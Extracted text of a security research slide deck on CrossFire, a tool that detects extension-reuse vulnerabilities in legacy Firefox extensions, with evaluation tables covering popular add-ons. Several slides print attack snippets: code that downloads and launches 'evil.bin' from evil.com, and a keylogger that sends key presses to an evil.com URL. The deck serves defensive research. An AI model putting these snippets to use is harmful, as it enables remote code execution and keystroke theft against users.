Automated Detection of Firefox Extension- Reuse Vulnerabilities - PowerPoint PPT Presentation

Automated Detection of Firefox Extension- Reuse Vulnerabilities • Click to edit Master text styles — Second level • Third level — Fourth level » Fifth level Ahmet S BUYUKKAYHAN William ROBERTSON

Who are we? • Click to edit Master text styles • Assistant professor of computer science at Northeastern — Second level University in Boston, MA • Co-directs the NEU Systems Security Lab with Engin Kirda • Third level — Fourth level • Systems, network, and software security researcher » Fifth level • Past winner of DEFCON CTF with Shellphish – (a long, long time ago…) 2

Who are we? • Click to edit Master text styles • PhD Candidate at Northeastern University — Second level – Authored peer-reviewed conference and journal papers in top-tier security venues • Third level • Member of the NEU Systems Security Lab — Fourth level » Fifth level 3

Singapore • Click to edit Master text styles — Second level • Third level — Fourth level » Fifth level 4

Boston • Click to edit Master text styles — Second level • Third level — Fourth level » Fifth level 5

Agenda • Click to edit Master text styles • Background — Second level • Third level • Extension-Reuse Attacks — Fourth level • CrossFire & Demo » Fifth level • Evaluation • Conclusion 6

• Click to edit Master text styles — Second level • Third level — Fourth level » Fifth level Background

Browser Extensions • Click to edit Master text styles • Add new capabilities, — Second level customization to browsers • Third level • ~15K extensions in Mozilla — Fourth level Add-ons repository » Fifth level • Popular ones have millions of users • Mostly written in JavaScript 8

Legacy Firefox Extensions • Click to edit Master text styles • Shared JavaScript namespace — Second level – Extensions can read/write objects or variables of others – Can invoke functionality of others • Third level • Shared window — Fourth level XUL XUL XUL – Read/write GUI elements » Fifth level JavaScript – Listen to all events • No privilege separation XPCOM – Full access to filesystem, network… File System Network 9

Threat Model • Click to edit Master text styles • The browser is an attractive target — Second level – Extension authors are untrusted • Vulnerable extensions can be exploited • Third level – “Benign-but-buggy” threat model — Fourth level • Malicious extensions are a real threat » Fifth level – Trick users into installing malicious 161 malicious extensions extensions are blocked – Powerful (“man-in-the-browser” attacks) by Mozilla + – Easy to develop, difficult to detect + https://addons.mozilla.org/en-US/firefox/blocked/ – Feb 2016 10

Existing Methods for Protection • Click to edit Master text styles • Enforcing browser — Second level marketplaces for extensions – Automated analysis • Third level – Human reviews — Fourth level – Extension signing » Fifth level – “Vetting” • Extension isolation – Least privilege and policy-based enforcement 11

Add-on SDK (a.k.a., Jetpack) • Click to edit Master text styles • Introduced in 2009 — Second level October 2014 • Isolates extensions from each other 12.0% of the top 2,000 • Third level • Separate content and core scripts — Fourth level March 2016 22.9% of the top 2,000 • Implements principle of least » Fifth level privilege Release Date of • But, adoption has been slow WebExtensions in Q3 2016 • Superseded by WebExtensions 12

• Click to edit Master text styles — Second level • Third level — Fourth level » Fifth level Extension-Reuse Attacks

Attack Model • Click to edit Master text styles — Second level Evil Extension Evil Extension (No Sensitive Calls) • Third level Extension X Extension Y — Fourth level No Suspicious Behavior » Fifth level Sensitive Calls Sensitive Calls Vetting Sandbox Victim`s Browser 14

Impact • Click to edit Master text styles • Lack of isolation leaves legacy — Second level extensions defenseless against capability leaks • Third level • Attackers can stitch together — Fourth level exploits by abusing capabilities » Fifth level • The more power vulnerable extensions have, the easier it is for an evil extension 15

Download & Execute Evil Binary • Click to edit Master text styles const WebBrowserPersist = Components.Constructor( — Second level "@mozilla.org/embedding/browser/nsWebBrowserPersist;1", "nsIWebBrowserPersist"); • Third level var persist = WebBrowserPersist(); — Fourth level var targetFile = Components.classes["@mozilla.org/file/local;1"] » Fifth level .createInstance(Components.interfaces.nsILocalFile); targetFile.initWithPath(“evil.bin"); persist.saveURI( “http://evil.com/evil.bin", null, null, null, "", targetFile, null); targetFile.launch(); 16

Extension-reuse Attack Example • Click to edit Master text styles var files = [{ Extension — Second level href: $url, description: "", Download Execute • Third level fname: $path, noRedir: true — Fourth level Extension X Extension Y }]; » Fifth level gFlashGotService.download(files); var gPrefMan = new GM_PrefManager(); File Internet gPrefMan.setValue(“editor”, $path); System GM_util.openInEditor(); Exe 17

To Reuse or Not To Reuse • Click to edit Master text styles const WebBrowserPersist = var files = [{ Components.Constructor("@mozilla.org — Second level href: $url, /embedding/browser/nsWebBrowserPersi description: "", st;1", "nsIWebBrowserPersist"); • Third level fname: $path, var persist = WebBrowserPersist(); noRedir: true var targetFile = — Fourth level }]; Components.classes["@mozilla.org/fil » Fifth level gFlashGotService.download(files); e/local;1"].createInstance(Component s.interfaces.nsILocalFile); targetFile.initWithPath( $path ); var gPrefMan = new GM_PrefManager(); persist.saveURI( $url , null, null, gPrefMan.setValue(“editor”, $path); null, "", targetFile, null); GM_util.openInEditor(); targetFile.launch(); 18

Another Example • Click to edit Master text styles • A key logger, which sends each key press to evil.com — Second level gd12.dicInline.urlWikPrefix = "http://evil.com/GD12_YOUR_LANG/steal.php?key="; • Third level gd12.keydownHandler = function(e) { gd12.dicInline.lookupWikt(String.fromCharCode(e.which), false, false); — Fourth level }; » Fifth level gd12.init(); Evil.com Internet 19

• Click to edit Master text styles — Second level • Third level — Fourth level » Fifth level CrossFire

CrossFire Overview • Click to edit Master text styles — Second level • Third level — Fourth level » Fifth level 21

DEMO • Click to edit Master text styles — Second level • Third level — Fourth level » Fifth level 22

• Click to edit Master text styles — Second level • Third level — Fourth level » Fifth level Evaluation

Method • Click to edit Master text styles • Top 10 most downloaded extensions — Second level – Manual analysis on all set • Top 2000 most downloaded extensions • Third level – Manual analysis on random set of 323 — Fourth level » Fifth level • Case Study – Developed an extension with cross- extension function call – Applied to full review 24

Top 10 Firefox Extensions • Click to edit Master text styles Extension Name Automated Exploits Manual Exploits False Positives # of Users Adblock Plus 0 0 4 22 M — Second level Video DownloadHelper 0 15 0 6.5 M • Third level Firebug 0 1 0 3 M — Fourth level NoScript 2 5 2 2.5 M DownThemAll! 0 5 0 1.5 M » Fifth level Greasemonkey 1 3 2 1.5 M Web of Trust 1 33 15 1.3 M Flash Video Down. 4 1 1 1.3 M FlashGot Mass Down. 3 5 9 1.3 M Down. YouTube Videos 0 2 1 1 M 25

Summary of Results • Click to edit Master text styles Detected Vulnerabilities – Random Set Positive Vulnerabilities by Attack Type — Second level True Positives False Positives Manual Automated • Third level — Fourth level 51 96 20% 27% » Fifth level 255 204 73% 80% 26

Breakdown of Positive Vulnerabilities • Click to edit Master text styles Category Description Positive Vulnerabilities By Category — Second level File I/O Code Execution Execute binary or JS 16% Event Listener • Third level File I/O Read from/write to Registration Filesystem 12% — Fourth level Network Access Open a URI or download a file Preference » Fifth level Access Preference Access Read/write browser 3% settings Event Listener Reg. Key logging events only Code Execution 3% Network Access 66% 27

Performance • Click to edit Master text styles • Fast static analysis — Second level – ~ 1 sec average (per extension) • Third level Min Q1 Median Mean Q3 Max 0.05s 0.18s 0.28s 1.06s 0.51s 763.91s — Fourth level » Fifth level • Fast exploit generation – ~ 380 secs (~ 6 mins) on average (per exploit) Min Q1 Median Mean Q3 Max 30s 192s 270s 378.6s 550.8 2160s 28